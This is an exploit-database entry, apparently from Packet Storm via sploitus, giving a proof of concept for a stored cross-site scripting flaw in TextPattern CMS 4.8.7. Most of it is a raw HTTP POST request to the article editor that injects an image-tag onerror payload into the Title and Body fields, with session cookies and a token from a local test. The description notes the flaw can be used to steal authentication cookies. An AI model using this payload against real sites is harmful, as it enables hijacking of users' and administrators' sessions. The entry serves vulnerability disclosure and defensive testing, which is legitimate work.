Share
## https://sploitus.com/exploit?id=PACKETSTORM:163067
# Exploit Title: TextPattern CMS 4.8.7 - Stored Cross-Site Scripting (XSS)  
# Date: 2021/09/06  
# Exploit Author: Mert DaลŸ merterpreter@gmail.com  
# Software Link: https://textpattern.com/file_download/113/textpattern-4.8.7.zip  
# Software web: https://textpattern.com/  
# Tested on: Server: Xampp  
  
TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.  
  
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.  
  
TextPattern 4.8.7 is vulnerable; other versions may also be affected.   
  
Header  
  
-POST /textpattern/textpattern/index.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0  
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------1356274838636633083297009973  
Content-Length: 4574  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/textpattern/textpattern/index.php?event=article&ID=2%27  
Cookie: txp_login=admin%2C4c96cd31447df40aa2ceea6e052132b6; txp_login_public=895102db7badmin; language=en-gb; currency=USD; PHPSESSID=280d77vpc9brntkqclej5her85  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="ID"  
  
2  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="event"  
  
article  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="step"  
  
edit  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="sPosted"  
  
1623260284  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="sLastMod"  
  
1623260295  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="AuthorID"  
  
admin  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="LastModID"  
  
admin  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="Title"  
  
"><img src=1 onerror=alert(1)>  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="textile_body"  
  
1  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="Body"  
  
"><img src=1 onerror=alert(1)>  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="textile_excerpt"  
  
1  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="Excerpt"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="Status"  
  
4  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="Section"  
  
articles  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="override_form"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="year"  
  
2021  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="month"  
  
06  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="day"  
  
09  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="hour"  
  
19  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="minute"  
  
38  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="second"  
  
04  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="exp_year"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="exp_month"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="exp_day"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="exp_hour"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="exp_minute"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="exp_second"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="sExpires"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="Category1"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="Category2"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="url_title"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="description"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="Keywords"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="Image"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="custom_1"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="custom_2"  
  
  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="save"  
  
Save  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="app_mode"  
  
async  
-----------------------------1356274838636633083297009973  
Content-Disposition: form-data; name="_txp_token"  
  
346eeab2db04acf953d13529f6be3a74  
-----------------------------1356274838636633083297009973--